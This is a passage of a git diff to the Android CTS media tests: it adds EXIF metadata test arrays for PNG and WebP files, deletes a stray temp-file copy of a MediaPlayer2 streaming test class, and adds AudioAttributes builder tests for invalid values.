         <item>SAMSUNG</item>
         <item>NX3000</item>
         <item>5.6000</item>
@@ -547,4 +719,92 @@
         <item />
         <item />
     </array>
+    <array name="exifbyteorderii_png">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>212271</item>
+        <item>6265</item>
+        <item>512</item>
+        <item>288</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>211525</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>SM-N900S</item>
+        <item>2.200</item>
+        <item>2016:01:29 18:32:27</item>
+        <item>0.033</item>
+        <item>0</item>
+        <item>41/10</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>480</item>
+        <item>640</item>
+        <item>50</item>
+        <item>6</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
+    <array name="exifbyteorderii_webp">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>9646</item>
+        <item>6265</item>
+        <item>512</item>
+        <item>288</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>6306</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>SM-N900S</item>
+        <item>2.200</item>
+        <item>2016:01:29 18:32:27</item>
+        <item>0.033</item>
+        <item>0</item>
+        <item>413/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>480</item>
+        <item>640</item>
+        <item>50</item>
+        <item>6</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
 </resources>
diff --git a/tests/tests/media/src/android/media/cts/.goutputstream-9KZYJZ b/tests/tests/media/src/android/media/cts/.goutputstream-9KZYJZ
deleted file mode 100644
index c1769ac..0000000
--- a/tests/tests/media/src/android/media/cts/.goutputstream-9KZYJZ
+++ /dev/null
@@ -1,814 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.BufferingParams;
-import android.media.DataSourceDesc;
-import android.media.MediaFormat;
-import android.media.MediaPlayer2;
-import android.media.MediaPlayer2.TrackInfo;
-import android.media.TimedMetaData;
-import android.media.cts.TestUtils.Monitor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Looper;
-import android.os.PowerManager;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestRunner;
-import android.util.Log;
-import android.webkit.cts.CtsTestServer;
-
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.net.HttpCookie;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.HashMap;
-import java.util.List;
-
-/**
- * Tests of MediaPlayer2 streaming capabilities.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class StreamingMediaPlayer2Test extends MediaPlayer2TestBase {
-    // TODO: remove this flag to enable tests.
-    private static final boolean IGNORE_TESTS = true;
-
-    private static final String TAG = "StreamingMediaPlayer2Test";
-
-    private static final String HTTP_H263_AMR_VIDEO_1_KEY =
-            "streaming_media_player_test_http_h263_amr_video1";
-    private static final String HTTP_H263_AMR_VIDEO_2_KEY =
-            "streaming_media_player_test_http_h263_amr_video2";
-    private static final String HTTP_H264_BASE_AAC_VIDEO_1_KEY =
-            "streaming_media_player_test_http_h264_base_aac_video1";
-    private static final String HTTP_H264_BASE_AAC_VIDEO_2_KEY =
-            "streaming_media_player_test_http_h264_base_aac_video2";
-    private static final String HTTP_MPEG4_SP_AAC_VIDEO_1_KEY =
-            "streaming_media_player_test_http_mpeg4_sp_aac_video1";
-    private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
-            "streaming_media_player_test_http_mpeg4_sp_aac_video2";
-    private static final String MODULE_NAME = "CtsMediaTestCases";
-    private DynamicConfigDeviceSide dynamicConfig;
-
-    private CtsTestServer mServer;
-
-    private String mInputUrl;
-
-    @Override
-    protected void setUp() throws Exception {
-        // if launched with InstrumentationTestRunner to pass a command line argument
-        if (getInstrumentation() instanceof InstrumentationTestRunner) {
-            InstrumentationTestRunner testRunner =
-                    (InstrumentationTestRunner)getInstrumentation();
-
-            Bundle arguments = testRunner.getArguments();
-            mInputUrl = arguments.getString("url");
-            Log.v(TAG, "setUp: arguments: " + arguments);
-            if (mInputUrl != null) {
-                Log.v(TAG, "setUp: arguments[url] " + mInputUrl);
-            }
-        }
-
-        super.setUp();
-        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
-    }
-
-/* RTSP tests are more flaky and vulnerable to network condition.
-   Disable until better solution is available
-    // Streaming RTSP video from YouTube
-    public void testRTSP_H263_AMR_Video1() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
-                + "&fmt=13&user=android-device-test", 176, 144);
-    }
-    public void testRTSP_H263_AMR_Video2() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
-                + "&fmt=13&user=android-device-test", 176, 144);
-    }
-
-    public void testRTSP_MPEG4SP_AAC_Video1() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
-                + "&fmt=17&user=android-device-test", 176, 144);
-    }
-    public void testRTSP_MPEG4SP_AAC_Video2() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
-                + "&fmt=17&user=android-device-test", 176, 144);
-    }
-
-    public void testRTSP_H264Base_AAC_Video1() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
-                + "&fmt=18&user=android-device-test", 480, 270);
-    }
-    public void testRTSP_H264Base_AAC_Video2() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
-                + "&fmt=18&user=android-device-test", 480, 270);
-    }
-*/
-    // Streaming HTTP video from YouTube
-    public void testHTTP_H263_AMR_Video1() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
-                  MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_1_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_H263_AMR_Video2() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
-                  MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_2_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_MPEG4SP_AAC_Video1() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_1_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_MPEG4SP_AAC_Video2() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_2_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_H264Base_AAC_Video1() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_1_KEY);
-        playVideoTest(urlString, 640, 360);
-    }
-
-    public void testHTTP_H264Base_AAC_Video2() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_2_KEY);
-        playVideoTest(urlString, 640, 360);
-    }
-
-    // Streaming HLS video from YouTube
-    public void testHLS() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        // Play stream for 60 seconds
-        playLiveVideoTest("http://www.youtube.com/api/manifest/hls_variant/id/"
-                + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
-                + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
-                + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
-                + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
-                + "0/key/ik0/file/m3u8", 60 * 1000);
-    }
-
-    public void testHlsWithHeadersCookies() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        final Uri uri = Uri.parse(
-                "http://www.youtube.com/api/manifest/hls_variant/id/"
-                + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
-                + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
-                + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
-                + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
-                + "0/key/ik0/file/m3u8");
-
-        // TODO: dummy values for headers/cookies till we find a server that actually needs them
-        HashMap<String, String> headers = new HashMap<>();
-        headers.put("header0", "value0");
-        headers.put("header1", "value1");
-
-        String cookieName = "auth_1234567";
-        String cookieValue = "0123456789ABCDEF0123456789ABCDEF";
-        HttpCookie cookie = new HttpCookie(cookieName, cookieValue);
-        cookie.setHttpOnly(true);
-        cookie.setDomain("www.youtube.com");
-        cookie.setPath("/");        // all paths
-        cookie.setSecure(false);
-        cookie.setDiscard(false);
-        cookie.setMaxAge(24 * 3600);  // 24hrs
-
-        java.util.Vector<HttpCookie> cookies = new java.util.Vector<HttpCookie>();
-        cookies.add(cookie);
-
-        // Play stream for 60 seconds
-        playLiveVideoTest(uri, headers, cookies, 60 * 1000);
-    }
-
-    public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        String defaultUrl = "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
-                            "bbb_1080p_30fps_11min/audio_only/prog_index.m3u8";
-
-        // if url override provided
-        String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
-
-        // Play stream for 60 seconds
-        playLiveAudioOnlyTest(
-                testUrl,
-                60 * 1000);
-    }
-
-    public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        // Play stream for 60 seconds
-        playLiveVideoTest(
-                "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
-                "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
-                60 * 1000);
-    }
-
-
-    // Streaming audio from local HTTP server
-    public void testPlayMp3Stream1() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpAudioStreamTest("ringer.mp3", false, false);
-    }
-    public void testPlayMp3Stream2() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpAudioStreamTest("ringer.mp3", false, false);
-    }
-    public void testPlayMp3StreamRedirect() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpAudioStreamTest("ringer.mp3", true, false);
-    }
-    public void testPlayMp3StreamNoLength() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpAudioStreamTest("noiseandchirps.mp3", false, true);
-    }
-    public void testPlayOggStream() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpAudioStreamTest("noiseandchirps.ogg", false, false);
-    }
-    public void testPlayOggStreamRedirect() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpAudioStreamTest("noiseandchirps.ogg", true, false);
-    }
-    public void testPlayOggStreamNoLength() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpAudioStreamTest("noiseandchirps.ogg", false, true);
-    }
-    public void testPlayMp3Stream1Ssl() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        localHttpsAudioStreamTest("ringer.mp3", false, false);
-    }
-
-    private void localHttpAudioStreamTest(final String name, boolean redirect, boolean nolength)
-            throws Throwable {
-        mServer = new CtsTestServer(mContext);
-        try {
-            String stream_url = null;
-            if (redirect) {
-                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
-                // Up to 4 redirects seems reasonable though.
-                stream_url = mServer.getRedirectingAssetUrl(name, 4);
-            } else {
-                stream_url = mServer.getAssetUrl(name);
-            }
-            if (nolength) {
-                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
-            }
-
-            if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
-                return; // skip
-            }
-
-            final Uri uri = Uri.parse(stream_url);
-            mPlayer.setDataSource(new DataSourceDesc.Builder()
-                    .setDataSource(mContext, uri)
-                    .build());
-
-            mPlayer.setDisplay(getActivity().getSurfaceHolder());
-            mPlayer.setScreenOnWhilePlaying(true);
-
-            mOnBufferingUpdateCalled.reset();
-            MediaPlayer2.MediaPlayer2EventCallback ecb =
-                new MediaPlayer2.MediaPlayer2EventCallback() {
-                    @Override
-                    public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        fail("Media player had error " + what + " playing " + name);
-                    }
-
-                    @Override
-                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
-                            mOnPrepareCalled.signal();
-                        } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
-                            mOnBufferingUpdateCalled.signal();
-                        }
-                    }
-                };
-            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
-            assertFalse(mOnBufferingUpdateCalled.isSignalled());
-
-            mPlayer.prepare();
-            mOnPrepareCalled.waitForSignal();
-
-            if (nolength) {
-                mPlayer.play();
-                Thread.sleep(LONG_SLEEP_TIME);
-                assertFalse(mPlayer.isPlaying());
-            } else {
-                mOnBufferingUpdateCalled.waitForSignal();
-                mPlayer.play();
-                Thread.sleep(SLEEP_TIME);
-            }
-            mPlayer.stop();
-            mPlayer.reset();
-        } finally {
-            mServer.shutdown();
-        }
-    }
-    private void localHttpsAudioStreamTest(final String name, boolean redirect, boolean nolength)
-            throws Throwable {
-        mServer = new CtsTestServer(mContext, true);
-        try {
-            String stream_url = null;
-            if (redirect) {
-                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
-                // Up to 4 redirects seems reasonable though.
-                stream_url = mServer.getRedirectingAssetUrl(name, 4);
-            } else {
-                stream_url = mServer.getAssetUrl(name);
-            }
-            if (nolength) {
-                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
-            }
-
-            final Uri uri = Uri.parse(stream_url);
-            mPlayer.setDataSource(new DataSourceDesc.Builder()
-                    .setDataSource(mContext, uri)
-                    .build());
-
-            mPlayer.setDisplay(getActivity().getSurfaceHolder());
-            mPlayer.setScreenOnWhilePlaying(true);
-
-            mOnBufferingUpdateCalled.reset();
-
-            MediaPlayer2.MediaPlayer2EventCallback ecb =
-                new MediaPlayer2.MediaPlayer2EventCallback() {
-                    @Override
-                    public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        mOnErrorCalled.signal();
-                    }
-
-                    @Override
-                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
-                            mOnPrepareCalled.signal();
-                        } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
-                            mOnBufferingUpdateCalled.signal();
-                        }
-                    }
-                };
-            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
-            assertFalse(mOnBufferingUpdateCalled.isSignalled());
-            try {
-                mPlayer.prepare();
-                mOnErrorCalled.waitForSignal();
-            } catch (Exception ex) {
-                return;
-            }
-        } finally {
-            mServer.shutdown();
-        }
-    }
-
-    // TODO: unhide this test when we sort out how to expose buffering control API.
-    private void doTestBuffering() throws Throwable {
-        final String name = "ringer.mp3";
-        mServer = new CtsTestServer(mContext);
-        try {
-            String stream_url = mServer.getAssetUrl(name);
-
-            if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
-                Log.w(TAG, "can not find stream " + stream_url + ", skipping test");
-                return; // skip
-            }
-
-            Monitor onSetBufferingParamsCalled = new Monitor();
-            MediaPlayer2.MediaPlayer2EventCallback ecb =
-                new MediaPlayer2.MediaPlayer2EventCallback() {
-                    @Override
-                    public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        fail("Media player had error " + what + " playing " + name);
-                    }
-                    @Override
-                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
-                            mOnBufferingUpdateCalled.signal();
-                        }
-                    }
-                    @Override
-                    public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
-                            int what, int status) {
-                        if (what == MediaPlayer2.CALL_COMPLETED_SET_BUFFERING_PARAMS) {
-                            mCallStatus = status;
-                            onSetBufferingParamsCalled.signal();
-                        }
-                    }
-                };
-            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
-            // getBufferingParams should be called after setDataSource.
-            try {
-                BufferingParams params = mPlayer.getBufferingParams();
-                fail("MediaPlayer2 failed to check state for getBufferingParams");
-            } catch (IllegalStateException e) {
-                // expected
-            }
-
-            // setBufferingParams should be called after setDataSource.
-            BufferingParams params = new BufferingParams.Builder()
-                    .setInitialMarkMs(2)
-                    .setResumePlaybackMarkMs(3)
-                    .build();
-            mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
-            onSetBufferingParamsCalled.reset();
-            mPlayer.setBufferingParams(params);
-            onSetBufferingParamsCalled.waitForSignal();
-            assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
-
-            final Uri uri = Uri.parse(stream_url);
-            mPlayer.setDataSource(new DataSourceDesc.Builder()
-                    .setDataSource(mContext, uri)
-                    .build());
-
-            mPlayer.setDisplay(getActivity().getSurfaceHolder());
-            mPlayer.setScreenOnWhilePlaying(true);
-
-            mOnBufferingUpdateCalled.reset();
-
-            assertFalse(mOnBufferingUpdateCalled.isSignalled());
-
-            params = mPlayer.getBufferingParams();
-
-            int newMark = params.getInitialMarkMs() + 2;
-            BufferingParams newParams =
-                    new BufferingParams.Builder(params).setInitialMarkMs(newMark).build();
-
-            onSetBufferingParamsCalled.reset();
-            mPlayer.setBufferingParams(newParams);
-            onSetBufferingParamsCalled.waitForSignal();
-
-            int checkMark = -1;
-            BufferingParams checkParams = mPlayer.getBufferingParams();
-            checkMark = checkParams.getInitialMarkMs();
-            assertEquals("marks do not match", newMark, checkMark);
-
-            // TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
-
-            mPlayer.reset();
-        } finally {
-            mServer.shutdown();
-        }
-    }
-
-    public void testPlayHlsStream() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-        localHlsTest("hls.m3u8", false, false);
-    }
-
-    public void testPlayHlsStreamWithQueryString() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-        localHlsTest("hls.m3u8", true, false);
-    }
-
-    public void testPlayHlsStreamWithRedirect() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-        localHlsTest("hls.m3u8", false, true);
-    }
-
-    public void testPlayHlsStreamWithTimedId3() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            Log.d(TAG, "Device doesn't have video codec, skipping test");
-            return;
-        }
-
-        mServer = new CtsTestServer(mContext);
-        try {
-            // counter must be final if we want to access it inside onTimedMetaData;
-            // use AtomicInteger so we can have a final counter object with mutable integer value.
-            final AtomicInteger counter = new AtomicInteger();
-            String stream_url = mServer.getAssetUrl("prog_index.m3u8");
-            final Uri uri = Uri.parse(stream_url);
-            mPlayer.setDataSource(new DataSourceDesc.Builder()
-                    .setDataSource(mContext, uri)
-                    .build());
-            mPlayer.setDisplay(getActivity().getSurfaceHolder());
-            mPlayer.setScreenOnWhilePlaying(true);
-            mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-            final Object completion = new Object();
-            MediaPlayer2.MediaPlayer2EventCallback ecb =
-                new MediaPlayer2.MediaPlayer2EventCallback() {
-                    int run;
-                    @Override
-                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
-                            mOnPrepareCalled.signal();
-                        } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
-                            if (run++ == 0) {
-                                mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
-                                mPlayer.play();
-                            } else {
-                                mPlayer.stop();
-                                synchronized (completion) {
-                                    completion.notify();
-                                }
-                            }
-                        }
-                    }
-
-                @Override
-                public void onTimedMetaDataAvailable(MediaPlayer2 mp, DataSourceDesc dsd,
-                        TimedMetaData md) {
-                    counter.incrementAndGet();
-                    long pos = mp.getCurrentPosition();
-                    long timeUs = md.getTimestamp();
-                    byte[] rawData = md.getMetaData();
-                    // Raw data contains an id3 tag holding the decimal string representation of
-                    // the associated time stamp rounded to the closest half second.
-
-                    int offset = 0;
-                    offset += 3; // "ID3"
-                    offset += 2; // version
-                    offset += 1; // flags
-                    offset += 4; // size
-                    offset += 4; // "TXXX"
-                    offset += 4; // frame size
-                    offset += 2; // frame flags
-                    offset += 1; // "\x03" : UTF-8 encoded Unicode
-                    offset += 1; // "\x00" : null-terminated empty description
-
-                    int length = rawData.length;
-                    length -= offset;
-                    length -= 1; // "\x00" : terminating null
-
-                    String data = new String(rawData, offset, length);
-                    int dataTimeUs = Integer.parseInt(data);
-                    assertTrue("Timed ID3 timestamp does not match content",
-                            Math.abs(dataTimeUs - timeUs) < 500000);
-                    assertTrue("Timed ID3 arrives after timestamp", pos * 1000 < timeUs);
-                }
-
-                @Override
-                public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
-                        int what, int status) {
-                    if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
-                        mOnPlayCalled.signal();
-                    }
-                }
-            };
-            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
-            mPlayer.prepare();
-            mOnPrepareCalled.waitForSignal();
-
-            mOnPlayCalled.reset();
-            mPlayer.play();
-            mOnPlayCalled.waitForSignal();
-            assertTrue("MediaPlayer2 not playing", mPlayer.isPlaying());
-
-            int i = -1;
-            List<TrackInfo> trackInfos = mPlayer.getTrackInfo();
-            for (i = 0; i < trackInfos.size(); i++) {
-                TrackInfo trackInfo = trackInfos.get(i);
-                if (trackInfo.getTrackType() == TrackInfo.MEDIA_TRACK_TYPE_METADATA) {
-                    break;
-                }
-            }
-            assertTrue("Stream has no timed ID3 track", i >= 0);
-            mPlayer.selectTrack(i);
-
-            synchronized (completion) {
-                completion.wait();
-            }
-
-            // There are a total of 19 metadata access units in the test stream; every one of them
-            // should be received twice: once before the seek and once after.
-            assertTrue("Incorrect number of timed ID3s recieved", counter.get() == 38);
-        } finally {
-            mServer.shutdown();
-        }
-    }
-
-    private static class WorkerWithPlayer implements Runnable {
-        private final Object mLock = new Object();
-        private Looper mLooper;
-        private MediaPlayer2 mPlayer;
-
-        /**
-         * Creates a worker thread with the given name. The thread
-         * then runs a {@link android.os.Looper}.
-         * @param name A name for the new thread
-         */
-        WorkerWithPlayer(String name) {
-            Thread t = new Thread(null, this, name);
-            t.setPriority(Thread.MIN_PRIORITY);
-            t.start();
-            synchronized (mLock) {
-                while (mLooper == null) {
-                    try {
-                        mLock.wait();
-                    } catch (InterruptedException ex) {
-                    }
-                }
-            }
-        }
-
-        public MediaPlayer2 getPlayer() {
-            return mPlayer;
-        }
-
-        @Override
-        public void run() {
-            synchronized (mLock) {
-                Looper.prepare();
-                mLooper = Looper.myLooper();
-                mPlayer = MediaPlayer2.create();
-                mLock.notifyAll();
-            }
-            Looper.loop();
-        }
-
-        public void quit() {
-            mLooper.quit();
-            mPlayer.close();
-        }
-    }
-
-    public void testBlockingReadRelease() throws Throwable {
-        if (IGNORE_TESTS) {
-            return;
-        }
-
-        mServer = new CtsTestServer(mContext);
-
-        WorkerWithPlayer worker = new WorkerWithPlayer("player");
-        final MediaPlayer2 mp = worker.getPlayer();
-
-        try {
-            String path = mServer.getDelayedAssetUrl("noiseandchirps.ogg", 15000);
-            final Uri uri = Uri.parse(path);
-            mp.setDataSource(new DataSourceDesc.Builder()
-                    .setDataSource(mContext, uri)
-                    .build());
-
-            MediaPlayer2.MediaPlayer2EventCallback ecb =
-                new MediaPlayer2.MediaPlayer2EventCallback() {
-                    @Override
-                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
-                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
-                            fail("prepare should not succeed");
-                        }
-                    }
-                };
-            mp.setMediaPlayer2EventCallback(mExecutor, ecb);
-
-            mp.prepare();
-            Thread.sleep(1000);
-            long start = SystemClock.elapsedRealtime();
-            mp.close();
-            long end = SystemClock.elapsedRealtime();
-            long releaseDuration = (end - start);
-            assertTrue("release took too long: " + releaseDuration, releaseDuration < 1000);
-        } catch (IllegalArgumentException e) {
-            fail(e.getMessage());
-        } catch (SecurityException e) {
-            fail(e.getMessage());
-        } catch (IllegalStateException e) {
-            fail(e.getMessage());
-        } catch (InterruptedException e) {
-            fail(e.getMessage());
-        } finally {
-            mServer.shutdown();
-        }
-
-        // give the worker a bit of time to start processing the message before shutting it down
-        Thread.sleep(5000);
-        worker.quit();
-    }
-
-    private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
-            throws Throwable {
-        mServer = new CtsTestServer(mContext);
-        try {
-            String stream_url = null;
-            if (redirect) {
-                stream_url = mServer.getQueryRedirectingAssetUrl(name);
-            } else {
-                stream_url = mServer.getAssetUrl(name);
-            }
-            if (appendQueryString) {
-                stream_url += "?foo=bar/baz";
-            }
-
-            playLiveVideoTest(stream_url, 10);
-        } finally {
-            mServer.shutdown();
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index 186f322..749bc32 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import static org.testng.Assert.assertThrows;
+
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.os.Parcel;
@@ -81,6 +83,38 @@
         }
     }
 
+    // -----------------------------------------------------------------
+    // Builder tests
+    // ----------------------------------
+    public void testInvalidUsage() {
+        assertThrows(IllegalArgumentException.class,
+                () -> { new AudioAttributes.Builder()
+                        .setUsage(Integer.MIN_VALUE / 2) // some invalid value
+                        .build();
+                });
+    }
+
+    public void testInvalidContentType() {
+        assertThrows(IllegalArgumentException.class,
+                () -> {
+                    new AudioAttributes.Builder()
+                            .setContentType(Integer.MIN_VALUE / 2) // some invalid value
+                            .build();
+                } );
+    }
+
+    public void testDefaultUnknown() {
+        final AudioAttributes aa = new AudioAttributes.Builder()
+                .setFlags(AudioAttributes.ALLOW_CAPTURE_BY_ALL)
+                .build();
